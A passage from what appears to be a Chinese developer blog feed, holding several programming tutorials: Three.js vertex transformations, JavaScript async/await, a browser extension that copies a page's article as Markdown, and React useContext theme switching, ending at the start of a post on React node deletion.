你可能会好奇,为什么移动一个点就能改变整个形状?这就要从 3D 图形的底层原理说起了。在计算机的世界里,每个顶点都是一个 "向量"—— 既有大小又有方向的数学精灵。当我们改变顶点的坐标时,其实是在改变这些向量的方向或长度。

比如,在上面的例子中,新顶点的 x 坐标和中点一样,这意味着它在水平方向上处于左下和右下顶点的正中间;而 y 坐标比中点高,这就像是把这个点向上 "拉" 了一把,让原本平坦的底边凸起,形成了一个新的角。

Three.js 为我们提供了很多方便的方法来操作这些向量。比如,我们可以用add方法来计算两个点的和,用multiplyScalar来缩放一个点的位置:

// 另一种创建新顶点的方法:向量运算
const vectorFromLeftToRight = new THREE.Vector3();
vectorFromLeftToRight.subVectors(triangleVerts[2], triangleVerts[1]); // 右下减左下,得到方向向量
// 取一半长度,就是中点到左下的向量
const halfVector = vectorFromLeftToRight.clone().multiplyScalar(0.5);
// 从左下顶点出发,加上这个一半向量,再向上移动
const newVertex2 = triangleVerts[1].clone().add(halfVector).add(new THREE.Vector3(0, 0.5, 0));

这段代码做的事情和之前差不多,但更能体现向量的思想 —— 我们不是直接计算坐标,而是通过向量的加减来 "移动" 点的位置。这就像是告诉计算机:"从左下顶点出发,向右走一半的距离,再向上走 0.5 单位,那里就是新顶点的位置。"

从三角形到四边形:拓扑的奥秘

除了顶点的位置,形状的 "拓扑结构" 也很重要。拓扑就像是图形的 "连接方式"—— 哪些顶点连在一起,形成什么样的面。在 Three.js 中,我们需要明确告诉计算机这些连接关系。

对于三角形,我们只需要说 "三个顶点连在一起形成一个面";而对于四边形,我们需要定义两个三角形来组成它(因为 GPU 通常只认三角形):

// 定义四边形的面(由两个三角形组成)
const indices = [
  0, 1, 2,  // 第一个三角形:顶部、左下、新顶点
  0, 2, 3   // 第二个三角形:顶部、新顶点、右下
];
// 创建索引缓冲区
quadGeometry.setIndex(new THREE.Uint16BufferAttribute(indices, 1));

这就像是告诉计算机:"你看,这个四边形其实是由两个小三角形拼起来的,你只要分别画出这两个三角形,看起来就像是一个四边形了。" 这种把复杂形状分解成三角形的过程,在 3D 图形学中叫做 "三角剖分",是计算机处理复杂图形的基本技巧。

让形状动起来:动画中的顶点变换

顶点变换不仅仅用于创建静态形状,更重要的是在动画中让物体 "活" 起来。比如,我们可以让一个三角形逐渐变成四边形,就像花朵慢慢绽放:

// 动画函数:让三角形逐渐变成四边形
function animate() {
  requestAnimationFrame(animate);
  
  // 计算动画进度(0到1之间)
  const progress = (Math.sin(Date.now() * 0.001) + 1) / 2;
  
  // 根据进度更新新顶点的位置
  const currentY = -1 + progress * 0.5; // 从-1逐渐升到-0.5
  quadVerts[2].y = currentY;
  
  // 更新几何体的顶点数据
  quadGeometry.attributes.position.needsUpdate = true;
  
  renderer.render(scene, camera);
}

这段代码就像是给形状装上了 "关节",通过不断改变新顶点的 y 坐标,让它从底边慢慢升起,三角形也就逐渐变成了四边形。这里的进度计算用了正弦函数,让变化看起来更平滑自然,就像呼吸一样有节奏。

总结:几何的魅力在于创造

从三角形到四边形的顶点变换,看似简单,却包含了 3D 图形学的许多基本原理:顶点坐标的表示、向量的运算、拓扑结构的定义,以及动画中的插值计算。就像用积木搭房子,我们通过移动一个个小小的顶点,就能创造出千变万化的形状。

下次当你在 Three.js 中创建模型时,不妨多留意这些隐藏在代码背后的几何奥秘。也许有一天,你会发现自己能用这些简单的原理,创造出令人惊叹的 3D 世界 —— 毕竟,再复杂的模型,追根溯源,都只是一个个顶点在空间中的优雅舞蹈。

记住,在 3D 的世界里,没有绝对的固定形状,只有无限的可能。只要你愿意,三角形可以变成四边形,四边形可以变成更复杂的多边形,而这一切,都从理解每个顶点的小小移动开始。

async/await 从入门到精通,解锁异步编程的优雅密码

作者 归于尽
2025年7月13日 11:51

async/await 是 ES2017 引入的新语法,它基于 Promise 实现,使异步代码的编写和阅读更加直观。简单来说:

  • async 函数是一种特殊的函数,它的返回值总是一个 Promise
  • await 关键字只能在 async 函数内部使用,它可以暂停函数的执行,等待一个 Promise 被解决(resolved)或拒绝(rejected),然后继续执行

为什么需要 async/await

让我们通过一个简单的例子来对比一下传统的 Promise 链式调用和 async/await 的区别。

假设我们有一个需求:从服务器获取用户信息,然后根据用户信息获取用户的订单列表,最后根据订单列表获取订单详情。

使用 Promise 链式调用的代码可能长这样:

fetchUser()
  .then(user => {
    return fetchOrders(user.id);
  })
  .then(orders => {
    return fetchOrderDetails(orders[0].id);
  })
  .then(details => {
    console.log(details);
  })
  .catch(error => {
    console.error(error);
  });

而使用 async/await 的代码则是这样的:

async function getUserOrderDetails() {
  try {
    const user = await fetchUser();
    const orders = await fetchOrders(user.id);
    const details = await fetchOrderDetails(orders[0].id);
    console.log(details);
  } catch (error) {
    console.error(error);
  }
}

可以看到,使用 async/await 的代码更加线性,更接近我们编写同步代码的思维方式,大大提高了代码的可读性。

async/await 的基本用法

async 函数

async 函数的定义非常简单,只需要在 function 关键字前面加上 async 即可:

async function fetchData() {
}

async 函数的返回值总是一个 Promise,无论函数内部是否显式返回一个 Promise。例如:

async function greet() {
  return 'Hello, world!';
}

// 等价于
function greet() {
  return Promise.resolve('Hello, world!');
}

await 关键字

await 关键字只能在 async 函数内部使用,它的作用是暂停函数的执行,等待一个 Promise 被解决。例如:

async function fetchData() {
  const response = await fetch('');
  const data = await response.json();
  return data;
}

在这个例子中,await fetch ('') 会暂停函数的执行,直到 fetch 请求完成并返回响应。然后,await response.json () 会再次暂停函数的执行,直到 JSON 数据解析完成。

需要注意的是,await 关键字只能用于 Promise。如果 await 后面跟着的不是一个 Promise,JavaScript 会自动将其包装成一个 resolved 的 Promise。例如:

async function test() {
  const value = await 42;
  console.log(value); // 输出42
}

这里的 42 被自动包装成了 Promise.resolve (42)。

错误处理

在 async/await 中,我们可以使用传统的 try/catch 语句来处理异步操作中可能出现的错误。例如:

async function fetchData() {
  try {
    const response = await fetch('https://api.example.com/data');
    if (!response.ok) {
      throw new Error('Network response was not ok');
    }
    const data = await response.json();
    return data;
  } catch (error) {
    console.error('Error fetching data:', error);
    throw error; 
  }
}

当 await 的 Promise 被 rejected 时,catch 块会捕获到这个错误。这使得错误处理更加直观,就像处理同步代码中的错误一样。

async/await 的高级用法

并行执行多个异步操作

在某些情况下,我们可能有多个相互独立的异步操作,它们之间没有依赖关系,可以并行执行以提高效率。这时,我们可以使用 Promise.all 结合 async/await 来实现:

async function fetchMultipleData() {
  const [user, products, settings] = await Promise.all([
    fetchUser(),
    fetchProducts(),
    fetchSettings()
  ]);
  
  return {
    user,
    products,
    settings
  };
}

在这个例子中,fetchUser ()、fetchProducts () 和 fetchSettings () 会同时开始执行,Promise.all 会等待所有 Promise 都被 resolved 后,才会继续执行后续代码。这样可以显著提高程序的性能。

在循环中使用 async/await

在循环中使用 async/await 需要特别注意,不同类型的循环可能会有不同的行为。

for 循环

在 for 循环中使用 async/await 会按照顺序依次执行每个异步操作:

async function processItems(items) {
  for (const item of items) {
    await processItem(item);
  }
  console.log('All items processed');
}

在这个例子中,processItem (item) 会依次执行,只有当前一个 item 处理完成后,才会处理下一个 item。

map 方法

如果使用数组的 map 方法结合 async/await,情况会有所不同:

async function processItems(items) {
  const results = items.map(item => processItem(item));
  
  await Promise.all(results);
  console.log('All items processed');
}

在这个例子中,map 方法会立即为每个 item 创建一个 Promise,这些 Promise 会并行执行。然后我们使用 Promise.all 等待所有 Promise 都完成。

forEach❌

在 forEach 中使用 await 是一个常见的误区,让我们看一个例子:

async function processItems(items) {
  items.forEach(async item => {
    await processItem(item);
  });
  console.log('All items processed');
}

这段代码会有什么问题呢?答案是:console.log ('All items processed') 会在所有 item 处理完成之前就执行!

这是因为 forEach内部使用普通for循环遍历数组,它每次迭代调用传入的回调函数,整个遍历过程是同步的,并不会等待异步操作,因此forEach 方法并不支持 async/await。awite确实会暂停当前回调函数的执行,但 forEach 本身不会关心这个暂停,它会立即继续执行下一次迭代,这样所有回调函数会被依次启动,形成并行执行的效果。

要解决这个问题,我们应该使用支持 async/await 的循环结构,如 如果代码需要顺序执行,必须用for...of,

async function processItems(items) {
  for (const item of items) {
    await processItem(item);
  }
  console.log('All items processed');
}

如果允许并行执行可以使用 Promise.all 和 map 方法:

async function processItems(items) {
  await Promise.all(items.map(async item => {
    await processItem(item);
  }));
  console.log('All items processed');
}

这两种方法的本质都是利用了迭代器,不过侧重点有所不同。

for...of 循环直接利用了迭代器的顺序性,每次只处理一个元素。当遇到 await 时,它会暂停整个循环的执行,直到 Promise 被解决,确保每个异步操作按顺序完成。

而 Promise.all 结合 map 方法则是并行启动所有异步操作,再统一等待所有结果。map 方法会遍历数组并为每个元素创建一个 Promise,这些 Promise 会并行执行。Promise.all 则负责收集所有 Promise 的结果,并在所有 Promise 都解决后才继续执行后续代码。

处理多个 Promise 的竞争

有时候,我们可能需要同时发起多个请求,但只关心第一个完成的结果。这时可以使用 Promise.race 结合 async/await 来实现:

async function fetchData() {
  const fastResponse = await Promise.race([
    fetchFromCache(),
    fetchFromNetwork()
  ]);
  
  return fastResponse;
}

在这个例子中,fetchFromCache () 和 fetchFromNetwork () 会同时发起请求,Promise.race 会返回第一个完成的 Promise 的结果。

async/await 的底层原理

基于 Promise 实现

async/await 实际上是 Promise 的语法糖,它并没有引入新的语言特性,而是在 Promise 的基础上提供了更优雅的写法。

例如,下面的 async/await 代码:

async function fetchData() {
  try {
    const response = await fetch('');
    const data = await response.json();
    return data;
  } catch (error) {
    console.error(error);
  }
}

可以转换为等价的 Promise 代码:

function fetchData() {
  return fetch('')
    .then(response => {
      return response.json();
    })
    .then(data => {
      return data;
    })
    .catch(error => {
      console.error(error);
    });
}

生成器 (Generator) 与自动执行器

async/await 的底层实现还涉及到生成器 (Generator) 和自动执行器的概念。

生成器是一种特殊的函数,可以暂停执行并在稍后恢复。生成器函数使用 function * 语法定义,使用 yield 关键字暂停执行。这个在上一篇文章中说过了

下面是一个简单的生成器函数示例:

function* generatorFunction() {
  console.log('Step 1');
  yield 1;
  console.log('Step 2');
  yield 2;
  console.log('Step 3');
  return 3;
}

const generator = generatorFunction();
console.log(generator.next()); // 输出 { value: 1, done: false }
console.log(generator.next()); // 输出 { value: 2, done: false }
console.log(generator.next()); // 输出 { value: 3, done: true }

async/await 的底层实现本质上是一个自动执行器,它会自动执行生成器函数,并处理 yield 出来的 Promise,直到生成器函数完成。

下面是一个简化的 async/await 自动执行器实现:

function run(genFn) {
  const gen = genFn();
  
  function step(key, arg) {
    let result;
    try {
      result = gen[key](arg);
    } catch (error) {
      return Promise.reject(error);
    }
    
    const { value, done } = result;
    if (done) {
      return Promise.resolve(value);
    } else {
      return Promise.resolve(value).then(
        val => step('next', val),
        err => step('throw', err)
      );
    }
  }
  
  return step('next');
}

通过这种方式,JavaScript 引擎可以将 async/await 代码转换为基于生成器和 Promise 的实现,从而实现异步代码的同步化写法。

async/await 的常见应用场景

API 请求

async/await 最常见的应用场景之一就是处理 API 请求。例如:

async function fetchUserProfile(userId) {
  try {
    const userResponse = await fetch(`https://api.example.com/users/${userId}`);
    const user = await userResponse.json();
    
    const postsResponse = await fetch(`https://api.example.com/posts?userId=${userId}`);
    const posts = await postsResponse.json();
    
    return {
      user,
      posts
    };
  } catch (error) {
    console.error('Error fetching user profile:', error);
    throw error;
  }
}

文件操作

在 Node.js 环境中,async/await 可以简化文件操作的代码:

const fs = require('fs').promises;

async function readAndProcessFile(filePath) {
  try {
    const data = await fs.readFile(filePath, 'utf8');
    const processedData = data.toUpperCase();
    await fs.writeFile(filePath + '.processed', processedData);
    console.log('File processed successfully');
  } catch (error) {
    console.error('Error processing file:', error);
  }
}

数据库操作

在数据库操作中,async/await 可以让代码更加清晰,不过不常用,且局限性太大,这里不举代码示例了。

总结

回顾处理回调地狱的演进历程:从最初的回调函数嵌套,到 Promise 的链式调用,再到如今 async/await 的同步化写法,每一次进步都在提升开发体验和代码质量。而理解这些技术的底层原理和适用场景,则是我们在实际开发中做出正确选择的关键。

希望本文能够帮助你更好地掌握 async/await 这一强大工具,在面对复杂异步操作时游刃有余。当然如果文章中有错误的地方,请你一定要指出来,我会好好修正的。

【实践篇】【01】我做了一个插件, 点击复制, 获取当前文章为 Markdown 文档

作者 晴小篆
2025年7月13日 11:23

前言

我去年的时候, 做了一个浏览器插件, 这个插件支持一键直接将 掘金 文章, 复制成 Markdown 文本。 文章链接在这儿: juejin.cn/post/736349…

效果如下 01.gif

近期突然想到, 既然可以直接复制粘贴 掘金 的文档, 岂不是稍加改动,我也能复制所有的站点的文档才对。

所以就行动起来了, 改进了一下功能, 效果就是这样子:

20250713100417_rec_.gif

使用

这个插件其实是我去年做的, 可以参考 github.com 链接:

github.com/pro-collect…

加载插件按照以下步骤来即可:

  1. 访问代码源码
  1. 下载代码
  2. 解压 dist.zip 文件, 然后将解压后的文件,将产物目录导入到浏览器扩展程序页面即可(【添加已解压的扩展程序】)。
    image.png

聊聊里面的技术

以前聊过这个话题, 可以参考文档, juejin.cn/post/736349…

这次说说以前没有说到的一些内容。

获取当前页面 html

其实实现还是非常的简单, 就是给插件 popup 页面, 一个点击按钮, 这个时候去获取当前页面的 dom 节点。

那是怎么获取的呢?

其实很简单, 我们在点击按钮「复制到粘贴板」的时候, 就直接向当前页面注入 script 然后获取当前页面的 html 文本即可。

const hanldeClickCopy = (api: MessageInstance) => async () => {
  const [tab] = await chrome.tabs.query({ active: true, currentWindow: true });

  const query = getStorageItem<string>(StorageKey.SELECTED_QUERY_SELECTOR);
  if (tab) {
    const pageUrl = tab.url as string;
    const resContent = await chrome.scripting.executeScript({
      target: { tabId: tab.id as number },
      func: () => document.documentElement.outerHTML,
    });

    // html content
    const htmlContent = resContent[0].result;

    const $ = load(htmlContent);
    // 移除 code 块的 header
    $(".code-block-extension-header").remove();

    const articleKey = query ? query : "#article-root";
    const $article = $(articleKey);
    const articleContent = $article?.html() || "";
    const author = trim($(".author-info-box span.name").text());

    const content = generateMarkdown(articleContent, author, pageUrl);

    if (htmlContent && content) {
      navigator.clipboard
        .writeText(content)
        .then(() => {
          api.info("复制成功。");
        })
        .catch((e) => {
          api.error("复制失败。");
        });
    } else {
      api.warning("复制失败。请检测是否为有效页面。");
    }
  } else {
    api.warning("未找到激活的标签页。");
  }
};

其中最重要的部分就是下面这段代码

    const resContent = await chrome.scripting.executeScript({
      target: { tabId: tab.id as number },
      func: () => document.documentElement.outerHTML,
    });

直接向宿主页面, 丢了一个 function: () => document.documentElement.outerHTML 这样就非常方便的将 html string 放到 resContent 里面去了。

处理 html 字符串 - 神级工具:cheerio

这个时候虽然拿到了 html 字符串, 但是处理起来非常的麻烦, 毕竟都只是 html 字符串文本而已。 这个时候, 我们要介绍一个非常牛掰的工具 cheerio

它可以让我们想 jquery 一样操作 html 字符串。 甚至可以说语法和 jquery 一模一样,没有任何区别。

import { load } from "cheerio";

const $ = load(htmlContent);

// 移除 code 块的 header
$(".code-block-extension-header").remove();

const articleKey = query ? query : "#article-root";
const $article = $(articleKey);
const articleContent = $article?.html() || "";
const author = trim($(".author-info-box span.name").text());

const content = generateMarkdown(articleContent, author, pageUrl);

有了它 , 我们就可以非常方便, 从 html 里面拿到 文章的 dom 节点, 也可以很方便拿到文章的其他信息, 比如:作者、文章创建时间、点赞、收藏量等。

还有一个彩蛋, cheerio 其实也是很多 node 爬虫的最爱, 用于处理爬虫获取的 html 基本上无往不利。

将 html 转换为 markdown

通过上面的步骤, 就已经从 html 中,获取到了最关键的 文章 html 文本了, 接下来就是最核心的将 html 文本转为 markdown, 直接说结论吧, 我这儿使用的是一个三方组件库 html-to-md

但是毕竟是第三方库, 里面有很多一些转换之后了之后可能会有一些异常的地方, 需要自己手动校准一下:

import h2md from "html-to-md";

export const generateMarkdown = (articleContent: string, author: string, href: string): string => {
  const content = h2md(articleContent);

  // 写入文件
  const replaceRegexes = (content: string, regexes: [RegExp, string][]) => {
    return regexes.reduce((acc, [regex, replacement]) => {
      return acc.replace(regex, replacement);
    }, content);
  };

  const regexes: [RegExp, string][] = [
    [/javascriptCopy code/gi, ""],
    [/htmlCopy code/gi, ""],
    [/cssCopy code/gi, ""],
    [/jsCopy code/gi, ""],
    [/jsonCopy code/gi, ""],
    [/shellCopy code/gi, ""],
    [/jsxCopy code/gi, ""],
    [/```js\njs/gi, "```js\n"],
    [/```jsx\njsx/gi, "```jsx\n"],
    [/```tsx\ntsx/gi, "```tsx\n"],
    [/```sql\nsql/gi, "```sql\n"],
    [/```java\njava/gi, "```java\n"],
    [/```python\npython/gi, "```python\n"],
    [/```go\ngo/gi, "```go\n"],
    [/```c\nc/gi, "```c\n"],
    [/```c\+\+\nc\+\+/gi, "```c++\n"],
    [/```ini\nini/gi, "```ini\n"],
    [/```json\njson/gi, "```json\n"],
    [/```html\nhtml/gi, "```html\n"],
    [/```csharp\ncsharp/gi, "```csharp\n"],
    [/```javascript\njavascript/gi, "```javascript\n"],
    [/```typescript\ntypescript/gi, "```typescript\n"],
    [/\\. /gi, ". "],
    [/\\- /gi, "- "],
    [/复制代码|代码解读/gi, ""],
    [/\n## /gi, "\n### "],
  ];

  const markdown = replaceRegexes(content, regexes);
  const desc = `> 作者:${author}               
> 链接:${href}             
> 来源:稀土掘金                  
> 著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。                    

---------

`;

  if (author) {
    return desc + markdown;
  }

  return markdown;
};

如何抓取所有的页面

思考

之前我是只支持抓取掘金的页面, 因为掘金的文章 dom query 选择器我是知道的, 写在代码里面的。 近几天灵机一动, 如果我每次都是获取整个页面的 html 页面, 那为何不能直接可以动态 query ? 不同的网站, 让用户自己去获取对应页面的文章 query 岂不是可以一键复制任何页面了?

我这儿说的 query 实际上就是 document.querySelector 的对应的参数。

怎么获取呢? 也比较简单:

image.png

然后复制到 插件里面即可

image.png

复制完成之后, 点击 「+」就可以了。

这个时候, 就可以对应的不同的站点, 复制不同的文章了

实现

这个实现就没有啥好说的, 比较简单, 其实就是在 pupup 里面实现了一个可以动态添加 option 的 select 即可, 添加的 option 保存到本地。

代码没啥好说的, 直接贴, 没兴趣的, 直接略过就行。

import React, { useRef, useState } from "react";
import { PlusOutlined, DeleteOutlined } from "@ant-design/icons";
import { Button, Divider, Input, Select, Space } from "antd";
import type { InputRef } from "antd";
import { Tooltip } from "antd";
import { setStorageItem, getStorageItem, removeStorageItem } from "../../../store/index";
import { StorageKey } from "@src/consts";

/**
 * CSS查询选择器管理组件
 * 提供添加、选择和清除CSS选择器的功能,支持本地存储持久化
 * 用于管理页面元素选择器并保存用户偏好设置
 */
const QuerySelectorInput: React.FC = () => {
  /**
   * 已添加的CSS查询选择器列表
   * 从localStorage加载初始化数据,保存用户之前添加的所有选择器
   */
  const [queries, setQueries] = useState<string[]>(() => {
    try {
      return getStorageItem<string[]>(StorageKey.QUERY_SELECTORS) || [];
    } catch (e) {
      console.error("Failed to parse saved queries", e);
      return [];
    }
  });
  /**
   * 当前输入框中的查询选择器文本
   * 临时存储用户正在输入的新选择器内容
   */
  const [currentQuery, setCurrentQuery] = useState("");
  /**
   * 当前选中的查询选择器值
   * 从localStorage加载初始化,保存用户上次选择的选择器
   */
  const [selectedValue, setSelectedValue] = useState<string>(() => {
    try {
      return getStorageItem<string>(StorageKey.SELECTED_QUERY_SELECTOR) || "";
    } catch (e) {
      console.error("Failed to parse saved selected value:", e);
      return "";
    }
  });
  /**
   * 输入框的引用
   * 用于在添加新选择器后聚焦回输入框
   */
  const inputRef = useRef<InputRef>(null);

  /**
   * 处理输入框内容变化事件
   * @param event - 输入框变化事件对象
   */
  const handleQueryChange = (event: React.ChangeEvent<HTMLInputElement>) => {
    setCurrentQuery(event.target.value);
  };

  /**
   * 添加新的查询选择器
   * 验证输入不为空且不存在重复后,更新选择器列表并保存到localStorage
   * 清空输入框并重新聚焦
   */
  const addQuery = () => {
    if (currentQuery.trim() && !queries.includes(currentQuery.trim())) {
      const newQueries = [...queries, currentQuery.trim()];
      setQueries(newQueries);
      setStorageItem(StorageKey.QUERY_SELECTORS, newQueries);
      setCurrentQuery("");
      setTimeout(() => {
        inputRef.current?.focus();
      }, 0);
    }
  };

  /**
   * 处理添加按钮点击事件
   * @param e - 鼠标事件对象
   */
  const handleButtonClick = (e: React.MouseEvent<HTMLButtonElement | HTMLAnchorElement>) => {
    e.preventDefault();
    addQuery();
  };

  /**
   * 处理输入框键盘事件
   * 当按下Enter键时添加新选择器
   * @param e - 键盘事件对象
   */
  const handleKeyDown = (e: React.KeyboardEvent<HTMLInputElement>) => {
    if (e.key === "Enter") {
      e.preventDefault();
      addQuery();
    }
  };

  /**
   * 处理选择器选择变化事件
   * 更新选中值并保存到localStorage
   * @param value - 选中的选择器值
   */
  const handleSelectChange = (value: string) => {
    setSelectedValue(value);
    try {
      setStorageItem(StorageKey.SELECTED_QUERY_SELECTOR, value);
    } catch (e) {
      console.error("Failed to save selected value to localStorage:", e);
    }
  };

  /**
   * 清除所有查询选择器
   * 重置状态并从localStorage中移除保存的数据
   */
  const handleClearAll = () => {
    setQueries([]);
    setCurrentQuery("");
    setSelectedValue("");
    removeStorageItem(StorageKey.QUERY_SELECTORS);
    removeStorageItem(StorageKey.SELECTED_QUERY_SELECTOR);
  };

  return (
    <Select
      className="w-[450px]"
      placeholder="选择具体的文章的 dom querySelector 选择器"
      allowClear
      value={selectedValue}
      onChange={handleSelectChange}
      dropdownRender={(menu: React.ReactNode) => (
        <div className="max-h-[150px] overflow-auto">
          {menu}
          <Divider className="my-2" />
          <Space className="p-1 px-2">
            <Input
              placeholder="输入 querySelector 选择器"
              ref={inputRef}
              value={currentQuery}
              onChange={handleQueryChange}
              onKeyDown={handleKeyDown}
              className="w-[350px]"
            />
            <Tooltip title="添加查询选择器">
              <Button type="text" icon={<PlusOutlined />} onClick={handleButtonClick} />
            </Tooltip>

            <Tooltip title="清空所有查询选择器">
              <Button
                type="text"
                size="small"
                danger
                icon={<DeleteOutlined />}
                onClick={handleClearAll}
              />
            </Tooltip>
          </Space>
        </div>
      )}
      options={queries.map((query) => ({ label: query, value: query }))}
    />
  );
};

export default QuerySelectorInput;

React useContext 深度解析:告别组件间通信的噩梦

2025年7月13日 11:20

前言

在 React 开发中,你是否遇到过这样的场景:一个状态需要在多个嵌套很深的组件中使用,只能通过 props 一层层传递下去?这种"prop drilling"的方式不仅代码冗余,维护起来也是噩梦。今天我们就来深入了解 React 的 useContext Hook,看看它是如何优雅地解决这个问题的。

什么是 useContext?

useContext 是 React 提供的一个 Hook,它允许我们在组件树中共享状态,而不需要通过 props 逐层传递。当组件层次太深时,传统的 props 传递方式就显得非常机械化和繁琐。

useContext 的核心思想是创建一个全局的上下文对象,让任何在 Provider 内部的组件都能直接访问这个状态。

实战案例:主题切换功能

让我们通过一个经典的主题切换案例来看看 useContext 的使用。

成果展示


image.png

点击按钮后:


image.png

项目结构

首先,让我们看看部分项目的文件结构:

project/
├── src/
│   ├── components/
│   │   ├── Child/
│   │   │   └── index.jsx
│   │   └── Page/
│   │       └── index.jsx
│   ├── hooks/
│   │   └── useTheme.js
│   ├── App.jsx
│   ├── App.css
│   ├── ThemeContext.js
│   ├── index.css
│   └── main.jsx
└── README.md

这个结构清晰地展示了我们如何组织 useContext 相关的代码:

  • ThemeContext.js - 上下文对象定义
  • App.jsx - 根组件,提供上下文
  • components/ - 各个组件,消费上下文
  • hooks/ - 自定义 Hook(可选)

第一步:创建上下文对象

// ThemeContext.js
import {createContext} from 'react'

// 创建主题上下文对象,设置默认值为 "light"
// 这个上下文将在整个应用中共享主题状态
export const ThemeContext = createContext("light");

这里我们创建了一个 ThemeContext,并设置了默认值为 "light"。这个上下文对象将作为我们全局状态的载体。

第二步:在根组件中提供上下文

// App.jsx
import { useState } from "react";
import "./App.css";
import Page from "./components/Page";
import { ThemeContext } from "./ThemeContext.js";

function App() {
  // 管理主题状态,初始值为 "light"
  const [theme, setTheme] = useState("light");
  
  return (
    <div className={`app ${theme}`}>
    {/* 使用 Provider 为整个应用提供主题上下文 */}
    <ThemeContext.Provider value={theme}>
      <Page />
      {/* 主题切换按钮,点击时在 light 和 dark 之间切换 */}
      <button onClick={() => setTheme(theme === "light" ? "dark" : "light")}>
        切换主题 
      </button>
      
      {/* 
        以下是传统的深层嵌套组件结构示例:
        如果使用传统的 props 传递方式,需要逐层传递主题状态
        这正是我们使用 useContext 要解决的问题
      */}
      {/* <Uncle /> */}
      {/* <Parent>
        <Child>
          <GrandChild>
            <GreatGrandChild></GreatGrandChild>
          </GrandChild>
        </Child>
      </Parent> */}
    </ThemeContext.Provider>
    </div>
  );
}

export default App;

在这里,我们使用 ThemeContext.Provider 组件包裹了整个应用。这样做的好处是:

  1. 全局声明:所有被 Provider 包裹的组件都能访问这个状态
  2. 统一管理:主题状态在根组件中统一管理
  3. 动态切换:通过 setTheme 可以动态切换主题

为什么需要 useContext?

在传统的 React 开发中,当我们需要在深层嵌套的组件中传递数据时,通常会遇到"prop drilling"问题。让我们看看 App.jsx 中注释掉的代码:

{/* 传统的深层嵌套组件结构 */}
<Parent>
  <Child>
    <GrandChild>
      <GreatGrandChild></GreatGrandChild>
    </GrandChild>
  </Child>
</Parent>

如果我们要在 GreatGrandChild 组件中使用主题状态,传统方式需要这样做:

// 传统方式:需要逐层传递 props
function App() {
  const [theme, setTheme] = useState("light");
  
  return (
    <div className={`app ${theme}`}>
      <Parent theme={theme} />
    </div>
  );
}

function Parent({ theme }) {
  return <Child theme={theme} />;
}

function Child({ theme }) {
  return <GrandChild theme={theme} />;
}

function GrandChild({ theme }) {
  return <GreatGrandChild theme={theme} />;
}

function GreatGrandChild({ theme }) {
  return <div className="theme">{theme}</div>;
}

这种方式存在以下问题:

  1. 代码冗余:每个中间层组件都需要接收并传递 theme 属性
  2. 维护困难:当需要修改或添加新的状态时,所有中间层都需要更新
  3. 组件职责不清:中间层组件被迫承担传递数据的责任
  4. 扩展性差:随着组件层次增加,这种方式会变得难以维护

而使用 useContext 后,我们可以完全避免这些问题:

// 使用 useContext 的方式
function GreatGrandChild() {
  // 直接获取主题状态,无需通过 props 传递
  const theme = useContext(ThemeContext);
  return <div className="theme">{theme}</div>;
}

这就是为什么我们选择使用 useContext 来解决这个问题!

第三步:在任意组件中使用上下文

// components/Child/index.jsx
import { useContext } from "react";
import { ThemeContext } from "../../ThemeContext.js";

const Child = () => {
  // 通过 useContext 获取主题状态,无需通过 props 传递
  const theme = useContext(ThemeContext);
  
  return <div className="theme">{theme}</div>;
};

export default Child;

在 Child 组件中,我们直接使用 useContext(ThemeContext) 就能获取到主题状态,无需通过 props 传递。

第四步:中间层组件的处理

// components/Page/index.jsx
import Child from '../Child'
import {useTheme} from '../../hooks/useTheme'

const Page = () => {
    // 可以选择使用自定义 Hook 来获取主题状态
    const theme = useTheme();
    
    return(
        <>
            {/* 子组件可以直接通过 useContext 获取主题状态 */}
            <Child />
        </>
    )
}

export default Page

Page 组件作为中间层,它可以选择性地使用主题状态,也可以直接传递给子组件,非常灵活。

样式系统的完美配合

为了让主题切换更加完美,我们还需要相应的 CSS 样式:

/* App.css */
/* 主题切换样式 - 彻底解决滚动条问题 */
.app {
  width: 100vw;
  height: 100vh;
  display: flex;
  flex-direction: column;
  align-items: center;
  justify-content: center;
  transition: all 0.3s ease;
  margin: 0;
  padding: 0;
  overflow: hidden;
}

/* Light 主题 */
.app.light {
  background-color: #ffffff;
  color: #213547;
}

.app.light button {
  border-radius: 8px;
  border: 1px solid #646cff;
  padding: 0.6em 1.2em;
  font-size: 1em;
  font-weight: 500;
  font-family: inherit;
  background-color: #f9f9f9;
  color: #213547;
  cursor: pointer;
  transition: all 0.25s ease;
  margin-top: 1rem;
}

/* Dark 主题 */
.app.dark {
  background-color: #242424;
  color: rgba(255, 255, 255, 0.87);
}

.app.dark button {
  border-radius: 8px;
  border: 1px solid #646cff;
  padding: 0.6em 1.2em;
  font-size: 1em;
  font-weight: 500;
  font-family: inherit;
  background-color: #1a1a1a;
  color: rgba(255, 255, 255, 0.87);
  cursor: pointer;
  transition: all 0.25s ease;
  margin-top: 1rem;
}
// main.jsx
import { createRoot } from 'react-dom/client'
import './index.css'
import App from './App.jsx'

// 渲染根组件到 DOM
createRoot(document.getElementById('root')).render(
  <App />
)

这套样式系统完美支持了主题切换功能,并且解决了滚动条等细节问题。

useContext 的使用流程总结

根据我们的实战案例,useContext 的使用流程可以总结为:

  1. 创建上下文对象:使用 createContext 创建一个上下文
  2. Provider 全局声明:在根组件或合适的位置使用 Context.Provider 包裹组件树
  3. 在任何地方使用:在被 Provider 包裹的任何组件中使用 useContext 获取状态

数据状态共享的多种方式

值得注意的是,数据状态共享,肯定不只有一种方式。除了 useContext,我们还有:

  • 组件单向数据流通信:通过 props 传递(适合简单的父子通信)
  • 状态管理库:如 Redux、Zustand 等(适合复杂的全局状态管理)
  • 自定义 Hook:封装状态逻辑(如代码中的 useTheme

结语

useContext 是解决 React 组件间通信问题的利器,它让我们告别了繁琐的 prop drilling,实现了真正的全局状态共享。通过今天的主题切换案例,我们看到了它的强大之处。

当然,技术没有银弹,useContext 也不是万能的。在实际开发中,我们需要根据具体场景选择合适的状态管理方案。函数式组件配合 Hook 的方式确实很好用,让我们的代码更加简洁和易维护。

React 实现节点删除

作者 june18
2025年7月13日 10:21

今天带大家实现节点删除。

先看个例子。

function FunctionComponent() {
    const [count1, setCount1] = useReducer((x) => x + 1, 0);

    return (
        <div>
            {
                count1 % 2 === 0 ? (
                    <button onClick={() => {setCount1()}}>{count1}</button>
                ) : (<span>react</span>)
            }
        </div>
    )
}

ReactDOM.createRoot(document.getElementById("root") as HTMLElement).render((<FunctionComponent />) as any);

思路:

  1. 节点删除包含两个部分:vdom 删除(不用做),dom 删除
  2. 如何删除 dom?把所有要删除的节点放在父 fiber 上

Render 阶段

